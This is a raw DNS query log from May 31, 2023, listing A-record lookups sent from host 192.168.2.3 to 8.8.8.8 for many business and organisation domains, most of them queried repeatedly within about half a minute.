May 31, 2023 14:49:57.363286018 CEST	192.168.2.3	8.8.8.8	0xdb8d	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.366487980 CEST	192.168.2.3	8.8.8.8	0x3060	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.901515007 CEST	192.168.2.3	8.8.8.8	0xfbaf	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.901585102 CEST	192.168.2.3	8.8.8.8	0x906e	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.909764051 CEST	192.168.2.3	8.8.8.8	0x70ec	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.912344933 CEST	192.168.2.3	8.8.8.8	0x76da	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.915785074 CEST	192.168.2.3	8.8.8.8	0x44d3	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.919688940 CEST	192.168.2.3	8.8.8.8	0x6c18	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.994981050 CEST	192.168.2.3	8.8.8.8	0xa76	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.603882074 CEST	192.168.2.3	8.8.8.8	0x3235	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.769675970 CEST	192.168.2.3	8.8.8.8	0x6b45	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.791235924 CEST	192.168.2.3	8.8.8.8	0xdaa5	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.794809103 CEST	192.168.2.3	8.8.8.8	0x2d13	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.797121048 CEST	192.168.2.3	8.8.8.8	0xe2dd	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.820192099 CEST	192.168.2.3	8.8.8.8	0xc257	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.828025103 CEST	192.168.2.3	8.8.8.8	0x5189	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.996745110 CEST	192.168.2.3	8.8.8.8	0x67da	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.326133966 CEST	192.168.2.3	8.8.8.8	0x7631	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.328849077 CEST	192.168.2.3	8.8.8.8	0x7015	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.334434986 CEST	192.168.2.3	8.8.8.8	0xfe54	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.966479063 CEST	192.168.2.3	8.8.8.8	0xa5cb	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.973440886 CEST	192.168.2.3	8.8.8.8	0xb53c	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.973440886 CEST	192.168.2.3	8.8.8.8	0xcae9	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.975565910 CEST	192.168.2.3	8.8.8.8	0xee4	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.978334904 CEST	192.168.2.3	8.8.8.8	0x3ebc	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.027132034 CEST	192.168.2.3	8.8.8.8	0x9da5	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.030071020 CEST	192.168.2.3	8.8.8.8	0xb	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.243660927 CEST	192.168.2.3	8.8.8.8	0x4635	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.246737957 CEST	192.168.2.3	8.8.8.8	0x3d44	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.406837940 CEST	192.168.2.3	8.8.8.8	0xdfc8	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.423785925 CEST	192.168.2.3	8.8.8.8	0xaa14	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.688081026 CEST	192.168.2.3	8.8.8.8	0xce06	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.689224958 CEST	192.168.2.3	8.8.8.8	0x1c56	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.689981937 CEST	192.168.2.3	8.8.8.8	0x107a	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.706413984 CEST	192.168.2.3	8.8.8.8	0x6082	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.901058912 CEST	192.168.2.3	8.8.8.8	0x739d	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.970536947 CEST	192.168.2.3	8.8.8.8	0xb53c	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.970604897 CEST	192.168.2.3	8.8.8.8	0x3ebc	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.573069096 CEST	192.168.2.3	8.8.8.8	0x3703	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.575407028 CEST	192.168.2.3	8.8.8.8	0x4c93	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.580988884 CEST	192.168.2.3	8.8.8.8	0xeb88	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.587219954 CEST	192.168.2.3	8.8.8.8	0x871d	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.922362089 CEST	192.168.2.3	8.8.8.8	0xb560	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.475569963 CEST	192.168.2.3	8.8.8.8	0x3ebc	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.701703072 CEST	192.168.2.3	8.8.8.8	0x324c	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.708142996 CEST	192.168.2.3	8.8.8.8	0x5999	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.074557066 CEST	192.168.2.3	8.8.8.8	0xc347	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.081124067 CEST	192.168.2.3	8.8.8.8	0xc6ae	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.187062025 CEST	192.168.2.3	8.8.8.8	0xf906	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.379776001 CEST	192.168.2.3	8.8.8.8	0x1bf3	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.527412891 CEST	192.168.2.3	8.8.8.8	0x336f	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.547106028 CEST	192.168.2.3	8.8.8.8	0x9da6	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.846693993 CEST	192.168.2.3	8.8.8.8	0xd2b2	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.864423037 CEST	192.168.2.3	8.8.8.8	0xedd8	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.869918108 CEST	192.168.2.3	8.8.8.8	0x271d	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:05.106482029 CEST	192.168.2.3	8.8.8.8	0xc725	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:06.049530983 CEST	192.168.2.3	8.8.8.8	0x2fd1	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:06.474149942 CEST	192.168.2.3	8.8.8.8	0xe522	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.438752890 CEST	192.168.2.3	8.8.8.8	0xff9d	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.460675001 CEST	192.168.2.3	8.8.8.8	0x5552	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.460779905 CEST	192.168.2.3	8.8.8.8	0x5180	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.464195013 CEST	192.168.2.3	8.8.8.8	0xcef2	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.467964888 CEST	192.168.2.3	8.8.8.8	0x364	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.475857973 CEST	192.168.2.3	8.8.8.8	0x1291	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.476753950 CEST	192.168.2.3	8.8.8.8	0xf730	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.479911089 CEST	192.168.2.3	8.8.8.8	0xef2d	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.492924929 CEST	192.168.2.3	8.8.8.8	0x7183	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.522778034 CEST	192.168.2.3	8.8.8.8	0x1812	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.545826912 CEST	192.168.2.3	8.8.8.8	0xfdae	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.699098110 CEST	192.168.2.3	8.8.8.8	0x68e7	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.703912020 CEST	192.168.2.3	8.8.8.8	0xdb94	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.864697933 CEST	192.168.2.3	8.8.8.8	0x171b	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.114376068 CEST	192.168.2.3	8.8.8.8	0x78a8	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.167994022 CEST	192.168.2.3	8.8.8.8	0x937b	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.216296911 CEST	192.168.2.3	8.8.8.8	0x217d	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.223176003 CEST	192.168.2.3	8.8.8.8	0x8bc5	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.335237980 CEST	192.168.2.3	8.8.8.8	0xba45	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:15.341536045 CEST	192.168.2.3	8.8.8.8	0x22d3	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.004832029 CEST	192.168.2.3	8.8.8.8	0x873b	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.007639885 CEST	192.168.2.3	8.8.8.8	0xf3d8	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.007910967 CEST	192.168.2.3	8.8.8.8	0x2784	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.009192944 CEST	192.168.2.3	8.8.8.8	0x408	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.138710022 CEST	192.168.2.3	8.8.8.8	0x3e27	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.139887094 CEST	192.168.2.3	8.8.8.8	0x405b	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.140677929 CEST	192.168.2.3	8.8.8.8	0xdfd	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.161936045 CEST	192.168.2.3	8.8.8.8	0xefb1	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.251163006 CEST	192.168.2.3	8.8.8.8	0x3c32	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.253061056 CEST	192.168.2.3	8.8.8.8	0x230c	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.719896078 CEST	192.168.2.3	8.8.8.8	0x4cfb	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.823565960 CEST	192.168.2.3	8.8.8.8	0x51dd	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.824589014 CEST	192.168.2.3	8.8.8.8	0x2ccf	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.825579882 CEST	192.168.2.3	8.8.8.8	0x4da9	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.825999022 CEST	192.168.2.3	8.8.8.8	0x804f	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.827646971 CEST	192.168.2.3	8.8.8.8	0x2646	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.827697039 CEST	192.168.2.3	8.8.8.8	0xa4ec	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:16.845621109 CEST	192.168.2.3	8.8.8.8	0x958a	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.427306890 CEST	192.168.2.3	8.8.8.8	0xf908	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.429317951 CEST	192.168.2.3	8.8.8.8	0x84e8	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.432158947 CEST	192.168.2.3	8.8.8.8	0xfcd0	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.449969053 CEST	192.168.2.3	8.8.8.8	0xd2c1	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.452658892 CEST	192.168.2.3	8.8.8.8	0x9236	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.459357023 CEST	192.168.2.3	8.8.8.8	0x6e74	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.534542084 CEST	192.168.2.3	8.8.8.8	0x9e73	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.851506948 CEST	192.168.2.3	8.8.8.8	0x6094	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.925395966 CEST	192.168.2.3	8.8.8.8	0x7df9	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.953221083 CEST	192.168.2.3	8.8.8.8	0xfbb5	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:17.958086014 CEST	192.168.2.3	8.8.8.8	0xebf6	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.196080923 CEST	192.168.2.3	8.8.8.8	0x4bae	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.475758076 CEST	192.168.2.3	8.8.8.8	0xe456	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.477794886 CEST	192.168.2.3	8.8.8.8	0xf886	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.477971077 CEST	192.168.2.3	8.8.8.8	0xe41c	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.478749990 CEST	192.168.2.3	8.8.8.8	0x3206	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.479195118 CEST	192.168.2.3	8.8.8.8	0x6323	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.484997988 CEST	192.168.2.3	8.8.8.8	0x68bc	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.547878981 CEST	192.168.2.3	8.8.8.8	0xf62f	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.651038885 CEST	192.168.2.3	8.8.8.8	0x52e	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.832488060 CEST	192.168.2.3	8.8.8.8	0x64ed	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.904050112 CEST	192.168.2.3	8.8.8.8	0xb91e	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.904050112 CEST	192.168.2.3	8.8.8.8	0xbd81	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.904191017 CEST	192.168.2.3	8.8.8.8	0x14fd	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.908704042 CEST	192.168.2.3	8.8.8.8	0xc385	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.919373035 CEST	192.168.2.3	8.8.8.8	0x158a	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:18.993288040 CEST	192.168.2.3	8.8.8.8	0xbea5	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.245260954 CEST	192.168.2.3	8.8.8.8	0xaeb7	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.630690098 CEST	192.168.2.3	8.8.8.8	0x693a	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.633857012 CEST	192.168.2.3	8.8.8.8	0x23ce	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.726238012 CEST	192.168.2.3	8.8.8.8	0xb82f	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:19.958029032 CEST	192.168.2.3	8.8.8.8	0x9248	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:20.205467939 CEST	192.168.2.3	8.8.8.8	0x8e0b	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:20.676697016 CEST	192.168.2.3	8.8.8.8	0x51cb	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:21.689502001 CEST	192.168.2.3	8.8.8.8	0xed0a	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:21.998184919 CEST	192.168.2.3	8.8.8.8	0x7acc	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.002145052 CEST	192.168.2.3	8.8.8.8	0xf9b9	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.021007061 CEST	192.168.2.3	8.8.8.8	0x2a6c	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.026413918 CEST	192.168.2.3	8.8.8.8	0x9e2e	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:22.804476976 CEST	192.168.2.3	8.8.8.8	0x1599	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.040473938 CEST	192.168.2.3	8.8.8.8	0x368d	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.044609070 CEST	192.168.2.3	8.8.8.8	0x37b0	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.093338013 CEST	192.168.2.3	8.8.8.8	0x124	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.099287987 CEST	192.168.2.3	8.8.8.8	0x47fa	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.212549925 CEST	192.168.2.3	8.8.8.8	0x834e	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.487113953 CEST	192.168.2.3	8.8.8.8	0xb2bf	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.525969028 CEST	192.168.2.3	8.8.8.8	0x1979	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.529388905 CEST	192.168.2.3	8.8.8.8	0x3144	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:23.644100904 CEST	192.168.2.3	8.8.8.8	0x6ac	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.071486950 CEST	192.168.2.3	8.8.8.8	0x76d9	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.080178022 CEST	192.168.2.3	8.8.8.8	0xd2c	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.911084890 CEST	192.168.2.3	8.8.8.8	0xc9ca	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:24.913961887 CEST	192.168.2.3	8.8.8.8	0x7c08	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:25.216080904 CEST	192.168.2.3	8.8.8.8	0x5dd	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:26.453121901 CEST	192.168.2.3	8.8.8.8	0x1875	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.012495995 CEST	192.168.2.3	8.8.8.8	0x2f62	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.014307976 CEST	192.168.2.3	8.8.8.8	0x9c0	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.016376972 CEST	192.168.2.3	8.8.8.8	0x4101	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.018570900 CEST	192.168.2.3	8.8.8.8	0xa4c4	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.020720005 CEST	192.168.2.3	8.8.8.8	0x5792	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.022725105 CEST	192.168.2.3	8.8.8.8	0x9c56	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.024434090 CEST	192.168.2.3	8.8.8.8	0xc9e3	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.025718927 CEST	192.168.2.3	8.8.8.8	0xd921	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.026808977 CEST	192.168.2.3	8.8.8.8	0x95a	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.027477026 CEST	192.168.2.3	8.8.8.8	0x6d59	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.183666945 CEST	192.168.2.3	8.8.8.8	0x8636	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.326060057 CEST	192.168.2.3	8.8.8.8	0x4b81	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.327517986 CEST	192.168.2.3	8.8.8.8	0xc315	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.328088999 CEST	192.168.2.3	8.8.8.8	0x9d2	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.346811056 CEST	192.168.2.3	8.8.8.8	0xa8f6	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.624499083 CEST	192.168.2.3	8.8.8.8	0x6c8b	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.631594896 CEST	192.168.2.3	8.8.8.8	0xd0b0	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.632368088 CEST	192.168.2.3	8.8.8.8	0x4b0c	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.636605024 CEST	192.168.2.3	8.8.8.8	0x10ba	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.857166052 CEST	192.168.2.3	8.8.8.8	0x2fc9	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.858494997 CEST	192.168.2.3	8.8.8.8	0x56c7	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.995141983 CEST	192.168.2.3	8.8.8.8	0x9c8d	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.239819050 CEST	192.168.2.3	8.8.8.8	0x442d	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.240928888 CEST	192.168.2.3	8.8.8.8	0xd7aa	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.241436958 CEST	192.168.2.3	8.8.8.8	0x836b	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.242353916 CEST	192.168.2.3	8.8.8.8	0x15fb	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.264548063 CEST	192.168.2.3	8.8.8.8	0x1ea7	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.936352015 CEST	192.168.2.3	8.8.8.8	0xd9e6	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.937437057 CEST	192.168.2.3	8.8.8.8	0x5871	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.937437057 CEST	192.168.2.3	8.8.8.8	0xdead	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.939894915 CEST	192.168.2.3	8.8.8.8	0xede	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.941800117 CEST	192.168.2.3	8.8.8.8	0x551b	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.943494081 CEST	192.168.2.3	8.8.8.8	0x11f9	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.548315048 CEST	192.168.2.3	8.8.8.8	0xc598	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.548315048 CEST	192.168.2.3	8.8.8.8	0x2a7d	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.549268007 CEST	192.168.2.3	8.8.8.8	0x89fc	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.573344946 CEST	192.168.2.3	8.8.8.8	0x3d7d	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.672205925 CEST	192.168.2.3	8.8.8.8	0x251	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.672205925 CEST	192.168.2.3	8.8.8.8	0x4fbb	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
